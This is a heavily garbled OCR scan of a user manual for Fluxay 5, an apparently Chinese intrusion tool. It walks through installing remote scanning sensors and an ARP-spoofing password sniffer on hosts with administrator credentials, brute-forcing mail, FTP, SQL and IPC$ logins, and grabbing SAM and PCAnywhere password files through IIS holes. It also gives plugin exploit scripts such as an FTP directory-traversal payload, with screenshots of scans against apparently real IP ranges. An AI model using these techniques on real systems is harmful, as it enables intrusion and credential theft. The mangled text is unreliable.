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1.6

WEB: www.netXeyes.com www.netXeyes.org

E-Mai bl : xxxxx@vip.sina.com; security@vip.sina.com

2.1

5 Windows 2000 Windows NT

128M

2.2

Fluxay5Setup
3.1

( C:\Program

Files\NetXeyes\Fluxay5Betal\) 0OCX,

register._bat
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RegSvr32 Ed |

@ DR egisterServer in HexEdit,ocx succeeded,

3.2

C/S TCP

3DES

Setup Private Key |

Set Your Private Kew, Alpha, Mumber and Symbol Only,
Max bo 24 Bytes Long.,

This Ky is Use Far Crypk Daka (Trip-DES) Which Transfer
Between Fluxay and Sensor,

Enter Key: |

Re-Entet: |

(0] 4 ] [ Cancel ]

[Tools]->Set Encyption Key

3.3

Server

[Tools]->Fluxay Sensor Tools->Install Fluxay Sensor
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Setup Fluxay Sensor

ﬁ%& Hast IP: h&LﬂJE

MT PEISSWl:Ird' I***************

MT Account: Iwhale
Service Mame: I'-.-'S
Display Mame: I'-.-'ul Scanner
Descriptioin:

IFqua':.f Yul Scanner Sensar

Control Process; Isw:hu:ust

Sensor Process: ILSF'.SS

Remark: IFl:ur Education

Console Username: Iru:u:ut

Console Port: |4EI4

[] Disable Service Response For STOR

Console Password: I******

Scanning Pork: ISEIS

[ Force cverwrite

oot | [_cocel |

Host IP

NT Account
NT Password
Service Name
Display Name
Description
Control Process
Sensor Process
Remark

Console Username

Console Password

Console Port
5

1P

Administrators

21
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Sensor Port

Disable Service Response for STOP STOP

Force Overwirte

©

3.4

Server
[Tools]->Remote Sniffer->Install ARP Network Sniffer

Install ANS |

IP Address: I192.168.D.1

Accourk: Iadministratnr Passward: I******
Listen Part: |1122 ANS Passwd: I******

[#] Install Eermel Driver [#] Install Program Cnly (Update Only)

| I Ik ] [ Cancel ]

IP Address 1P

Account Administrators

Password

Listen Port:

ANS Passwd:

Install Kernel Driver

5 22 158



Install Program Only

NetCore

4.1

1122

23

158



« Fhiday 5.0 Build 2308 [0 Users)
Fle Edt ey  Scan Dl i ey Aol
Search Resuk;

= I3 Target Hosts
O%: FoP3 S=reer
%A P Server
=5 FTP Server
D& HTTP Server

I+ ]|

D o Serve

Yl urrimbons Prbian i e Crbsan

|4

| Haw | 05 verson | Typs

3

] Mebterpms Soft Labs, 19959-2002 Wiithen by Assassn All Fights Bassreed

bz Blarme= | P8 S | o |

! — -
[ — L wand Treeads Soeed E B
1:

2

3

4

5 TCP

6

7 1PC

4.2
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5
42.1
[ Scan]->Advance Scanning CTRL+A
42.2
4.2.2.1
ndvancescansetwp K|
CGlHoles | SOL | IPC |05 | AINGER| RPC | MISC | PLUGINS | Option
SeanSetup | PORTS | FOPZ | FTP | SMTP | IMaP | TELNET | cGi
StartIP;  [192168.0.1
EndIP:  [192168.0.255
Target 05: I-"i"-LL j
Get Server Mame Fing First
Scan ltems | -
[l PORTS
[ POP3
B FTP L
Al [ SMTP
A< IMaF
<G TELMET E
k. | [Caticel | Apply | Help |
5000 19 C
Scan ltem
Target 0S
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5
Get Server Name: (Hostname)
Ping First PING PING
IP
PING
4.2.2.2
PORT PORT
ndvancescanserwp [
CGlHoles | SOL | IPC |05 | ANGER| RPC | MISC | PLUGING | Option
ScanSep  PORTS | POP3 | FTP | SMTP | MaP | TELNET | cal
[ Customize Scan Paort
Fraom I To I
] 4 | [Cancel | Apply I Helg
TCP UDP
Scan Stand Port: 50
Customize Scan Port 1-65535
TCP TCP-Connect
5 26 158




4.2.2.3 POP3

POP3 POP3 POP3
T |

CGlHoles | SOL | IPC |05 | AINGER| RPC | MISC | PLUGING | Option
ScanSetup | PORTS  POPE | FTP | SMTP | IMaP | TELNET | cal

Brute ‘Wick Paszwiord

] 4 [Cancel | Apply I Helg

Get POP3 Banner: POP3 Banner

Brute Wick Password POP3

Brute Wick Password
Setup Dir \Brute.ult
[Setup Dir]J\Brute.dic

Finger
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5
4.2.2.4 FTP
FTP FTP FTP
Advancescansetp |
CGlHoles | SOL | IPC |05 | ANGER| RPC | MISC | PLUGING | Option
ScanSetup | PORTS | POP:  FTP | SMTP | MaP | TELNET | cail
Detect Anonyrouze Login
(=] Erute wick Password
] 4 [Cancel | Apply I Helg
Get FTP Banner: FTP Banner
Detect Anonymous Login
Brute Wick Password FTP
4.2.2.5 SMTP
SMTP SMTP SMTP
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Advance Scan Setup Ed |

CGlHoles | sAL | IPC | 11S

ScanSetup | PORTS | POP3 | FTP

[# Detect EXPHARFY

| FNGER | RPC | MISC | PLUGINS | Dption
SMTP | IMaP | TELNET | Cal

k. Canzel | Spply I Help
Get SMTP Banner: SMTP Banner
Detect EXPN/VRFY EXPN  VRFY
4.2.2.6 IMAP
1MAP IMAP 1MAP
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Advance Scan Setup Ed |

CGlHoles | SAL | IPC |05 | ANGER| RPC | MISC | PLUGINS | Option
ScanSetup | PORTS | POP3 | FTP | SMTP  IM&P | TELNET | Cal

(= Ty to Brute ‘Wick Password

k. Canzel | Spply I Help

Get IMAP Banner: IMAP Banner

Try to Brute Wick Password IMAP

4.2.2.7 Telnet

TELNET TELNET TELNET
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Advance Scan Setup Ed |

CGlHoles | SAL | IPC |05 | ANGER| RPC | MISC | PLUGINS | Option
ScanSetup | PORTS | POP3 | FTP | SMTP | IMap  TELNET | Co

SunldS Login Remate Explaoit

k. Canzel | Spply I Help

Get Telnet Banner: Telnet Banner

Sun0S Login Remote Exploit Sun0S /bin/login

4.2.2.8 CGl

CGl CGl CGl
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Advance Scan Setup Ed |

CGlHoles | SAL | IPC | 0s | ANGER| RPC | MISC | PLUGINS | Option |
ScanSetup | PORTS | POP3 | FTP | SMTP | MaP | TELNET  CGl

Get web Server Banner

[# Automatic Select Rules VWia 05
HT TP 200500 Enable Only

k. Canzel | Spply I Help

Get Web Server Banner: WEB Banner
Automatic Select Rules Via 0S WEB CGlI
HTTP 200 500 Enable Only HTTP 200 500
404
CGl1 11S 11S CGl1

4.2.2.9 CGl

CGI RULES CGI RULES CGl
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Advance Scan Setup Ed |

ScanSetup | PORTS | POP3 | FTP | SMTP | MaP | TELNET | cal
CGlHoles |saL | 1PC |15 | ANGER| RPC | MISC | PLUGINS | Option
AL - | Total [0833] Fules

Yulheraties | a5 |4
M5 ida NT
M5 ~ide NT

M#3i ~idq NT

= T autoexec hat MT

%3} /Glabal aza NT

= T NT

=i /... al NT

M5 22007 4l NT

B3 /.22 224 fhaotini NT

B /.22 2 dwinnt/repain/sam._ NT |
l Select Al ] [ Beverse ]

ak | [Cancel | Apply I Helm |

CGl

CGl

4.2.2.10 SQL

SQL SQL SQL
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Advance Scan Setup Ed |

ScanSetup | PORTS | POP3 | FTP | SMTP | IMaP | TELNET | cal

ClHoes SGL |IPC |15 | ANGER| RPC | MISC | PLUGINS | Option

et S& Paszward Yia 1S

(=] Erute wick Passwond

SOL Server 2000 |nfomation Gather

k. Canzel | Spply I Help

Get SA Password Via 11S: 11S SA
Brute Wick Password SQL
SQL Server 2000 Information Gather SQL Server 2000
4.2.2.11 IPC
1PC 1PC 1PC
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Advance Scan Setup Ed |

ScanSetup | PORTS | POP3 | FTP | SMTP | MaP | TELNET | cal
CGlHoes | 50L  IPC |5 | ANGER| RPC | MISC | PLUGINS | Option

Establish MULL 5ession

[#] Enumerata 5hare Fesource

Ernurnerate Uszer List
Brute Force if Enumerate Succuszifully

Brute Force Adminiztratorz Group Only

k. Canzel | Spply I Help

Establish NULL Session:

Enumerate Share Resource

Enumerate User List

Brute Force if Enumerate Succussifully:

Brute Force Administrators Group Only Administrators
5 I1PC
SMB API1
4.2.2.12 11S
1S 1S 1S
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Advance Scan Setup Ed |

ScanSetup | PORTS | POP3 | FTP | SMTP | IMaP | TELNET | cal
CGlHoles | 50L | IPC 1S | FINGER| RPC | MISC | PLUGINS | Option

[# FrontPage Extension
T to Get SAM
Ty ko Get PCARpwhere Pazawaord File

k. Canzel | Spply I Help

Unicode Holes: Unicode
FrontPage Extension FrontPage
Try to Get SAM SAM(Security Accounts Manager)
Try to Get PCAnywhere Password File: PCAnywhere
11S  Windows NT Windows 2000
4.2.2.13 Finger
Finger Finger Finger

5 36 158



u
5

Advance Scan Setup Ed |

ScanSetup | PORTS | POP3 | FTP | SMTP | IMaP | TELNET | cal
CGlHoles | 50L | IPC |15 FINGER |RPC | MISC | PLUGINS | Option

[# Enemurate User Mame [Sun0S5 Only)

k. Canzel | Spply I Help

Finger User:

Enemurate User Name Sun0OS Sco

4.2.2.14 RPC

RPC RPC RPC
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Advance Scan Setup Ed |

ScanSetup | PORTS | POP3 | FTP | SMTP | IMaP | TELNET | cal
CGlHoes | 50 | IPC |15 | AINGER RPC | MISC | PLUGINS | Option

iGet RPC Pragram |0

k. Canzel | Spply I Help

Get RPC Program ID: RPC Program 1D
4.2.2.15 MISC
MISC MISC
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Advance Scan Setup Ed |

ScanSetup | PORTS | POP3 | FTP | SMTP | MaP | TELNET | cal
CGlHoes | s0L | IPC |15 | ANGER| RPC MISC | PLUGINS | Option

Brute MuSOL Accounts
et S5H Werzion

k. Canzel | Spply I Help

Get Bind Version: BIND

Brute MySQL Accounts MySQL

Get SSH Version SSH

4.2.2.16 Plugln

Plugln Plugln
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Advance Scan Setup Ed |

ScanSetup | PORTS | POP3 | FTP | SMTP | MaP | TELNET | cal
CGlHoles | 5oL | 1PC |15 | ANGER| RPC | MISC  PLUGINS | Option

Total [0004] Plugins

AT - |
Dezcription | a5 |
FrontPage 2000 E stension E=plait MT
1550 MILL. Printer E xploit MT
QPOP Werify User IR
LIMI

Sunds FTF CwD Venfy Usemame

Select Al ] [ Beverse ]

k. | Canzel | Spply I Help

FrontPage 2000 Extension Exploit: FrontPage 2000

11S 5.0 NULL .Printer Exploit: 11S5.0 NULL.Printer

QPOP Verify User: QPOP
Sun OS FTP CWD Verify Username: Sun0S FTP  CWD
4.2.2.17
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Advance Scan Setup Ed |

ScanSetup | PORTS | POP3 | FTP | SMTP | MaP | TELNET | Gl |
CGlHoles | SAL | IPC |05 | AINGER| RPC | MISC | PLUGINS  Option

Brute Force ser File:

D 4Flusaypdsbrute, ul

Brute Force Pagzsword File:

ID:'\FIu:-:a_I,Hi"\I:urute.dic

Save Scan Fesult A

ID:'\FIu:-:a_I,Id'\H eportzh 192, 168.0.1-192.168.0.255. hh

Scan Threads: |1 1] 3:

k. | Canzel | Spply I Help |

Brute Force User File: 1PC

Finger

Brute Force User File:

Save Scan Result As [

IPI-[  1P].html

Scan Threads:

Option:

4.2.3
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wevrer.reet I erpen. o
.

Select Fluxay Daemon E |
SErvEer; IL::u:aIHu:usI: j Mare. .. I Fart: |3595

Accounk: ILDEEI|HDS|: Password: I*********

Option

[#] Show Dekail {Slaw IF Sensor Has Running in Remoke)

[ run as Daemon, Mo Interackive Required,

Option Skart ] [ Exit ]
L 1
Server
More
Port 3595
Account: LocalHost
Password: LocalHost

Show Detail..:

Run as Daemon..:

Option:

Option

START
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4.2.4

4.3

43.1

POP3
FTP

IMAP

HTTP Basic
HTTP NTLM
HTTP Proxy
MSSQL
IPC(SMB)

1]/1 FORM

[STOP]

43
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(DanSnow)
432
4.3.2.1
4.3.2.1.1
POP3 FTP
[Edit]->Add Enter
nddrosere) ]
|192.1E-8.EI.12| [
Auto Refresh Hosk Lisk Auko Completed
[ oK ] [ ancel ]
1P

Auto Regresh Host List:

Auto completed

[Edit]->Add From List

1P
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£02.96,104.25 .
202,96,104.6

202.96.104.7

10.0.0.142

10.101,10.10

10.192.65,54
192.168.0,105

192,163.0,29

202,100,222 66

202,100.64,116

202, 100.64,66 ;|

4.3.2.1.2

SPACE
4.3.2.1.3

DEL
DEL
[Edit]->Remove All

4.3.2.2
4.3.2.2.1
[Edit]->Add Enter

hddvser

bvpe User Mame:

Iwiu:kuser

[ Insert to Same Lewvel 0K ] [ Cancel ]

Insert to Same Level:

158




[Edit]->Add From List

EB Target Hosks
----- DI$| POP3 Server
----- DI‘_‘@ IMAF Server

EID' LY Fluxay4iMame. dic

L& el eegs,
----- D@ HTTP Server

----- &% Prowy Server
----- O FORM Server

----- D5 MssaL Server

=28 Target Hosts
----- Dlﬁl POP3 Server

----- DI'_fp’l IMAP Server
=5 FTP Server

=2 10,192 65,54
EE' O Pl a4t Name, dic
BN
..... E Warig
..... E zhang
..... Em liy

View All Items

46
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4.3.2.2.2

Space
4.3.2.2.3

DEL

DEL

[Edit]->Remove All

4.3.2.3

[Decipher Dictionary or Scheme]

[Edit]->Add

ElD 28 A Hosts

e D@ SMTP Server
Lo D@ IPCH Server

EE@ Decipher Dictionary or Scheme

4.3.3
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192.168.0.100

----- O, POP3 Server
----- O MAP Server
=[S FTP Server
=8 |:|. 192,168.0,105
R Dm tesk
=8 E. 192,168.0,100
...... I:I@ best
...... E. ! ront
...... I:I@ super
------ Em zhang
------ m database
----- D@ HTTF Server
----- (%8 PrROWY Server
----- O ForM Server

----- 0O MssaL server

=-[&e Aux Hosts

----- & sMTP Server

I'_—'IE@ Deciphet Dickionary of Scheme
----- E. D ||,F|lea‘;.-'4'|,3l'l |:|||:

192.168.0.105
192.168.0.100

test

[Scan]->Single Mode Scan

[Setup_dir]\Single.INI

[Scan]->Dictionary Mode Scan

[STOP]

test

CTRL+F7

CTRL+F5
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wevrer.reet I erpen. o
.

435 IPC SMB

4.3.5.1

Y

PC

IPC

Elﬂ IPC4 Server

61,
61,z
61,
A6,z
161,z
161,z
161,z
161

161.36.35
161,336,356
J161.36.124
J161.36.92
161,536,953
J161.36.67

161.36,37

TCP Port Scaner. ..

LACL I S R ) T oS N ' B o B
| ™ -

N i

o

=}

=

T

Ackion

3

Detect Server OS5 Type...

A0 100

1A1 28 102

Finger...

sk

| 5 Yersion

£11.161.36.246
£11.161.36.212
£11.161.36.212
£11.161.36.203

211.161.36.203

WiinZ000
WinZ000
WinZ000
Win2000

1PC

Sun Solaris Emernurate User Lisk(Finger). ..

Sun Solatis FTR Yerify User,

Merify ser Yia SMTE...

Get User Lisk From Current IPCE,.,

Chrl+F3

IPC$ Remate Logaon, ..

Ctrl+F10

211.161.36.48,

”IPC $ Server”

49
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”1PC$ Server” Scan ->Get All IPC$ User List
peorace |
Do iou Like Stark Bruke IF Enumerate Succusstully?
[#] Erute User Who Belongs to adminiskratars
Skap Brute IF Get Administratar Successtully
| H (o [ v
Brute User Who Belongs to Administrators: Administrators
Stop Brute If Get Administrator Successfully:
Administrators
[Yes]
[No]:
[Option]:
1PC Emenurate User Option |
- =]
[ Emenurate all Users Limited |20 | Users

[ Add User From File If Emenurate Has Failed

Hbmame;IDﬂHuxay4HPCLELINI Browse
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Emenurate All Users: Limited

Add User From File ITf Emenurate Has Failed:

[Yes]

[Fluxay Dir]\IPCSingle.INI.

4.3.5.21PC

IPCS$
[Scan]->All IPC$ Remote

Logon

IPC Brute Option |

[J Use Single Bruce Made;
Dickionary —
File; ID:'I,Fquay"r'l,passwnrd.di-: Brotwise I
Cpkion -

Brute Adminiskrakbors Only

Skop Bruke When Gob Administrator SuccussFully

o | [zl |

Use Single Burce Mode:

File

Brute Administrators Only: Administrators
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Stop Brute If Get Administrator Successfully:

Administrators
i/, IPC SMB/CIFS
Password/password/PASSWORD
password
4.4

441
5 ARP Spoof
C/S
Server
4.4.2
[Tools]->Remote Sniffer->Remote ARP Network Sniffer
ALT+S
Connect Remote Net ARP Sniffer |
=i ,
IF: |192.168.D.1 Park: |1122
Passwurd:l******
[ wark OFfline Connect ] [ Exit ]
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1P: 127.0.0.1

Port 1122

Passwd:

Work Offline:

Connect:
443
Settings |
|Realtek RTLE139(A)-based PCI Fast Ethernet Adapter |
Skark IP: |211.1E|1.42.E|4 End IP: 211.161.42, 127
Gateway: [211.161.42.65
Protocal IF'-LL j Reverse I Feceive if ICDntain vI Keywiords
Frotocol | Part | Tvpe |ﬂ passwd=;login;Login;Password;password
HTTP a0 T —d
CFTP Defaulk 20 TCP
FTP Contral 21 TCP
PORS 110 TCP
A =rate =g TR j
Buffer: |4III96. Packets For each Keyword, Seperate with {33
Log File: ISniFFer..ﬁ.NS I [ (a]4 ] [ Cancel ]
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Start IP IP

End IP 1P

Gateway:

Protocol: TCP UDP

Connect:

Receive 1T (Not)Contain Keywords

Buffer

LogFile +

Start IP End IP Gateway

Gateway Start IP End IP

ir/,. 1P 64 IP

OK

444
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wevrer.reet I erpen. o
.

?__l Remote ARP Network Sniffer

Source | SPort | Desk | DPork | Protocol | Zontent I IC |

=
Kl _"ILI
I Skark ] [ Load ] l Refresh ] I Freeze ]

Source: IP

SPort

Dest 1P

DPort:

Protocol:

Content:

1D

Start

Load Work Offline

Refresh

Freeze

Stop
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Source I SPort | Desk | DPort | Protocol | Content | IC |:|
211.161.42.139 1267 61,139.5.2 =1 HTTP GET fd... 201
211.161.42.192 1417 211.162.2258.71 80 HTTP GET /b... 202
211.161.42,192 1415 211.162.225.71 80 HTTP GET /b... 203
211.161. 42,192 1420 211,162, 225,72 80 HTTP GET fs... 205
211.161.42.192 1419 211,162, 283,72 &0 HTTP GET [fs... 20&
211.161.42.192 1416 202.67.194.70 80 HTTP GET fa... 207
211.161.42.192 1420 211.162.225.72 80 HTTP GET fs... 203
211.161. 42,192 1419 211.162,2258.72 80 HTTP GET fs... 209 _ |
211.161.42.139 1267 61.139.8.2 a0 HTTP GET fd... 210
£1 1308 7 a0 211 161 47 130 19687 HTTR HTTR! 211 LI
00000000 47 45 54 20 2F T3 6D 73 2F 73 69 AE A1 T2 GET f=m=/zinar
OO00O00E 63 2F TO T2 65 T& a 77T 2F 31 30 2F 31 cfpreviewfl[lfl:
Dooooo1c 31 34 2F 31 31 34 31434 35 2E AT A9 AR 20 147114145, zif
ooooooza 48 54 B4 5O ZF 31 31 0D DA 41 63 63 5 HTTR/1. 1.. Lcee
Qooooo3s 7O T4 34 20 24 Z2F D 04 52 65 66 65 T2 pt: * +..Refer
oooooode 68 T2 34 20 68 T4 T4 70 34 2F 2F 6E 65 TT er: http:fx‘rnewll
Spoof 211.161.42.254: Mac of 211,161 G4 === Mac of 211.161.42.218 :I
Begin Sniffer. ... : ;
< . _"I:I
[ Skark l [ Load l l Refresh ] I Freeze ].?EEI B45&E

1

2

3

4

445
STOP
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[Scan]->Base Scanning CTRL+R
scanopton |
—Range
Skart IP: |211.1EIEI.6.1
End IP: |211.1I:II:I.E..255
Scan For: [#] Insert 54
[#] Erute Force Insert FronkPage Host as HTTP Host
Add bo Current Tree [ 0K ] [ Cancel ]
Start IP: IP
End IP 1P
Scan For
Insert SA: MSSQL SA
Brute Force:
Insert FrontPage Host as HTTP Host: FrontPage
HTTP HTTP NTLM

Add to Current Tree

POP3

POP3

OK

57
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r211.100.¢ otk O
Deteck 05 of Hosk 211.,100,6.77...

Detect Host 211,100 7 Unicade Method A, ..

Detect Hosk 211,100,692 Unicode Method F...

Searching 211,100.6,9 PCAnywhere Password File, .,
Detect Host 211,100.6.9 Remote Get Sam Method A...
Dekect Hosk 211,100.6.9 Remote Gek Sam Method B
Dekect Hosk 211,100,6,42 Remote Gek Sam Method &,

Detect Hosk 211,100.6,42 Remaoke Get Sam Method B. ..

1PC
= FAZE 1pC§ Server Detect Host 211,100.¢
A=l z11.100.6.6
A= z11.100.6.56 Detect Host 211,100

A=l z11.100.6.9
A= z11.100.6.42
FA=& 211.100.6.13 FLL
A= 211.100.6.96
A= z11.100.6.40
A= z11.100.6.25
F= 211100641
F=! 21110067

Scaning Ho 11.100,

A 211 100 & 77 ﬂ

Hosk 013 Mersion Type | Drekail

I.i__J,El 1.100, MT 4.0 Femoke Ftp PCAW File Method-B c:\Program Filesi3ymantecipot
221,100 MT 4.0 Remote Execute-B ) L 114%01MET e
@1z11.100. MT 4.0 FrontPage Extended ) L 114%01MET e
&)z11.100. WinZ0o0 FrontPage Extended & EERr L EE R
=- FrontPage

2 UNICODE

A RPC
= PCAnyWhere

FTP FTP
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Remote FTP |
FTP Server: Iwww.netxeyes.cnm
Username: IXiaDan'ﬂ Password: I********

FTP Filenarme: |21 1.100.6.251 \WEBSERNVER.1 14.CIF

[ 115 Detect MO is Prohibited

| Start ] [ Cancel ]
FTP Server FTP
Username FTP
Password FTP
FTP Filename:
11S Detect CMD is Prohibited: CMD

[Tools]->Misc->PCAnyWhere Decipher

PCAnyYhere Password |

Username: administrator

Password: b15222

5.2
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521
ndvancescansetp K|
ScanSetup | PORTS | POP3 | FTP | SMTP | MaP | TELNET | Gl |
CGlHoles | SAL | IPC |05 | AINGER| RPC | MISC | PLUGINS  Option
Brute Force Uszer File:
D 4Fluzxaydsbrute. ul
Brute Force Password File;
ID:'\FIu:-:a_I,Hi"\I:urute.dic
Save Scan Result As:
ID:'\FIu:-:a_I,Id'\H eportzh 192, 168.0.1-192.168.0.255. hh
Scan Threads: |1|:||:| 3:
k. | Canzel | Spply I Help |
Threads
100M 200
Option Socket
Socket Option
Conneck TimeCuk: |1|:||:||:||:| s
Daka TimeCuk: IlEIEIEIEI s
Connect TimeOut 10000 TCP
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veewr.reet ) epen.com
X

Data TimeOut: Socket

10000

Izer Mame | Passwiord

Lser

(==

5.2.2

Select Fluxay Daenmon E |
SErVEr) IL::u:aIHu:ust j Mare. .. I Port: |3595

Accourt: ILl:u:-aIHDsI: Password: I*********

Opkion

[#] Show Detail (Slow IF Sensor Has Running in Remoke)

[] Run as Daemaon, Mo Interactive Required.

Opkion Stark ] [ E:xik ]

Show Detail
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wevrer.reet I erpen. o
.

Run as Daemon:

Option

Option Localhost(

Dialog |

Mokity Me Yia 3MS When Sensor Scan Session Completed,

5nd Mabile: |13911112222

Passwiord:
Feetr Maobile: |1391 1112222 Test I

% Motity Me Yia E-Mail When Sensor Scan Session Completed,

I******

RCPT E-Mail: Isecurity@vip.sina.cnm

[#] Attach PTR Files [#] Delete Swap File While E-Mail Have been Sent,

izet Fassword Yia htbpeisms, sina. com, cn O ] [ Cancel ]

Notify Me Via SMS...

Snd Mobile:

Password

Retr Mobile

Notify Me Via E-Mail...

Attach PTR Files

Delete Swap File While...:

SMS

http://sms.sina.com.cn SMS
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5.2.3

5.2.3.1

Test

nethayes)

For DOreams..

gl pAE

3DES

63
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Fluxay 5.0 Build 3308 {0 Users)
File

<

[
=
=

Edit  ‘iews Scan Option Tools Help  About

Advance Scan Wizzard. .. IR
Mew Project, ., Chel+M
Qpen Project, ., Chrl+
Save Project... Chrl+5
Save Project As... Crrl+3hift+5

Lasts Praoject. ..

Recent Result

History Resulk

Import Resulk

Analysis Fluxay (FluxayShadow Result

Analysis Fluxay Sensor Result

E Fluxay Sensor Scan Hiskrow, .. Ckr+E

LS =1 Corvert Fluxay Sensor PTR Files,,,  CtHT
Exit alk+F4
[File]->Analysis Fluxay Sensor Result->Fluxay Sensor Scan

History Ctri+E

Py Sensor History st |
%Hnst j(=EmC11.100.6.42 SEHSDF Park: 103
Username: Iadmin Password: I******
Sensor Scanned Temporary Files | Drate |
[ Eemove l [ Conneck ] [ Close ]
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Host 1P 1P

More:

Sensor Port

Username

Password

Remove

Connect

Fluxay Sensor History List

%Hnst P; [211.100.6.42 j SensorPort; [103

Isername: Iadmin Passiord: I******
Sensor Scanned Temporary Files I Date I
[0 61.48.32.1-61 48,32, 255.PTR 200205005 22:49:36
[ 211.167.73.1-211,167.73.255.PTR. 200203024 12:47:51

211.157.101.1-211.157. 101.255. RN U
™ 202.99.12.1-202.99.12.255.PTR
™ 202.104.129,1-202,104.120,255.F  @Pen and Remove...

[ 202.103.224.1-202, 103,224,255, PTR 2002/08/14 13:39:13
[ 202,102, 249,1-202, 102, 249, 255, PTR Z002/04/10 15:29:33
Remove ] l Conneck ] I Close

Open

Open and Remove:
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2. [File]->Analysis Fluxay Sensor Result->Convert Fluxay

Sensor PTR File Ceri+T
3. PTR Open
5.2.3.3
5.24
*_flux Setup Directory \Plugins

Setup Directory \FluxaySensor\Plugins

5.2.4.1

Name=

Type= NT  UNIX
Detail=

port= TCP

#tstart //
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//

#start™ //

5.2.4.2

Send=

:send=GET / HTTP/1.0\0x0d\0x0a

“\” 16

Recv

:Recv=100 100

<>

<>TESTSTRING “ TESTSTRING”

<>404 PAGE NOT FOUND “ 404 PAGE NOT FOUND”

5.2.4.3

FrontPage2000

D
2)
3)
4)
5)
6)

5

Name=FrontPage 2000 Extension Exploit
Type=NT

Detai l=FrontPage 2000 Extension Exploit
port=80

#istart

send=HEAD /_vti_bin/_vti_aut/fp30reg.dll
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HTTP/1.1\0x0d\0x0aHost :%host\0x0d\0x0a\0x0d\0x0a
7) recv=100
8) ?<>200 OK

9) #start”®

1 Plugins

4 TCP

6 HTTP
7 100

8 “ 200 OK”

PlatinumFTPserver

Name=Platinum FTP Server vulnerability

Type=NT

Detail Platinum FTP Server Directory traversal vulnerability
Port=21 // FTP

#start

recv=1024 // 1024

?<> PlatinumFTPserver // FTP

send=user anonymous\0x0d\OxOa //

recv=1024
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?<> 331 //
send=test@test.com\0x0d\0x0a
recv=1024

?<> 230 //

send= dir \..\_..\..\_..\..\//
recv=1024

?<>200 //

#starth //

Nessus NASL

5.3

53.1

5.3.1.1

Scan ->Base Scanning

Base Scanning



Scan Option |

—FRange

Stark IP: I211.161.36.1

End IF: I211.161.36.255

Sican Fors [#] Insert 54
Brute Force Insert FronkPage Host as HTTP Hosk
Add to Current Tree (1] 4 ] [ Cancel ]
Scan For
“ NT/98” OK
Base Scanning
Hiosk | Q5 Version | Tvpe
=)711.161.36.246 WinZ000 FrontPage Extended
= 511.161.36.50 WinZz000 Remoate Execute-E
UNICODE
Connect
Select Remote Cnd |
115 Server: |211.151.35.5|:|
Type: IRethe Execute Mothod E j

llow 115 Deteck CMO:
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Allow 11S Detect CMD 11S

CMD

CMD

1S

OK

‘n*.. Remote NT Cmd (Z11.161.36.50)

Ver
Local File <File Name>
Local Cls
Local Open WEB

Exit

71
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NT/98

E‘B IPC$ Server

----- A= 211.161.36.50
----- A& 211.161.36.35
..... A&l 211.161.36.124
..... P& 211.161.36.69
..... A= 211.161.36.35
----- A&l z11.181.36.116
----- P& z11.181.36.157
----- A&l z11.161.36.1%6
----- A= 211.161.36.214
----- A2 211.161.36.246
..... A&l 211.161.36.242

4.3 5

SMB Base Negotiate NT/2000

Password.dic

IPC Brute Option |

[ Use Single Bruce Made

Dickionary —

File: ID:'I,Fqua*;.-"’r'l,passwu:-rd.di-: Brotwse I

Crpkion

Brute Administratars Only

[#] stop Brute When Got Administrator Succussfully

o | [l |

%J 5 IPC
5.3.1.2
NT/2000 Null Session
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wevrer.reet I erpen. o
.

UNIX

Finger

SMTP  VRFY/RCPT

Sun FTPD

5.3.1.2.1 Finger

UNIX SUNOS

UNIX

=- E'ﬁ FTF Server
""" E. mdﬂ: 1

----- @ HTTP Server —

----- D% PROXY Serve  Wiew  »
..... O FORM Server Tmport >
----- 15k Mss0L Serve

A5 aux Hosts Export ¥

""" @ SMTP Server
----- E@ IPCH Server Sl

SCO Finger

FTP  FTP

TCP Port Scaner. ..

@Decipher Cictionz  Action  »

Detect Server 05 Type...

------ o [ Bl D\Fluxayd\password. Dic
D '-Q.f Decipher Histroy

------ 05 61.139.55.66

Finger. ..

Sun Solaris Emernurate User List{Finger)...

Sun Solaris FTP Merify User, .,

Weriby User Wia SMTE. ..
Get Al IPEE User: List, .., kel +-F2
Al IPZE Femote Lagom,.. Zhr+F 10

[Scan]->Sun solaris Emernurate
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veewr.reet ) epen.com
X

= A FTP Server

Finger

5.3.1.2.2 SMTP

SMTP
SMTP

SMTP

= E. £1.139,55.66

m Login
daerman
”%5&
-~
m limbing

5 SHELL

SHELL

VRFY  RCPT

SMTP

1% 28 Aux Hosts
=- E@ SMTP Server

=2 B

= E BoF Edit
...... EE" \ View *
------ D IPCE Server
E@ Decipher Diction: ~ 1MPOrt ¥
------ A B O\ Flusay Export b —
O Decipher Histroy
o [ RPN Scan b TCP Port Scaner. ..
15t Action k Detect Server 05 Type...
Fimger ..
Sun Solaris Emermurate Wser List(Finger]. ..
Sun Solaris FTP Werify User. ..
Yerify User Via SMTP...
er Name | Pas  Geb AllIPCE Wser List, .. CErl S
&l IPCE Remate Lagar. .. Chel 1
[Scan]->Verify User Via SMTP
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El 55 aux Hosts
- El E'iﬂ SITE Server

== &1.139.55.51
oom

FTP

[ Import]->Import From SMTP

El E@ FTF Server

...... Dﬁ PROXY Serv  Wiew b

------ |:|- FORM Serv ——————
------ R | inpor o e
"E' AL Hosts Export * Import Form IPC%...

El Eliﬂ SMTP Serve

ElE.m i) SE
""" AEh action »

I ..... MV thed Ce o

5.3.1.2.3 SUN OS FTPD

Sun0S 2.5-2.87 FTP  SMTP

FTP

Scan ->Sun Solaris FTP Verify User
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wevrer.reet I erpen. o
.

- .@ FTP Server
N E. W

f ..... O HITP Server  EE >
...... D% PROKY SEFVEr  yiew b

------ D- FORM Server —————
------ Oy mssaL server  mPOrE >
E =8 Ay Hosks Export

= (A SMTP Server

= E. 61.139.55. TCP Part Scaner...

P m vh Action  k Detect Server 05 Type...
----- D IPCE Server
@ Decipher Dickionary or Scheme Finger...

------ E | [:\Fluxay4password.Dic
D f{f Decipher Histroy
------ O 202.100.128.10 Sun Salaris FTP Yerify User. .

Sun Solaris Emernurate User Lisk(Finger). ..

Werify Lser Yia SMTE.,.

Get Al IRCH User Lisk, ., (Zkr|+FS

&l IPCH Remate Logon. .. Zhrl+F1n

El E@ FTP Server

4 sys adm SHELL

5.3.2

5.3.2.1

Thread XXX NO Response(

)

[Option]->System Options
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System Optioin |

—Threads —Port
|Hi|;|h |an | 3 POP3: HTTP: |a|:|
| s FTee o1 sMe: s
PRORY [g050  SOL: |1433
Priority Threads ‘Word/Thread

[ Auko Adjust Threads

oK ] I Cancel

I

Auto Adjust Threads

5.3.2.2

[Option]->Single Mode Option

Single Mode Option |

[# add Suffix ta Username

[[J Double Username

[ Reverse Username

Suffix File:

ID:'I,Fquay"r'l,nu:urmaI.suF

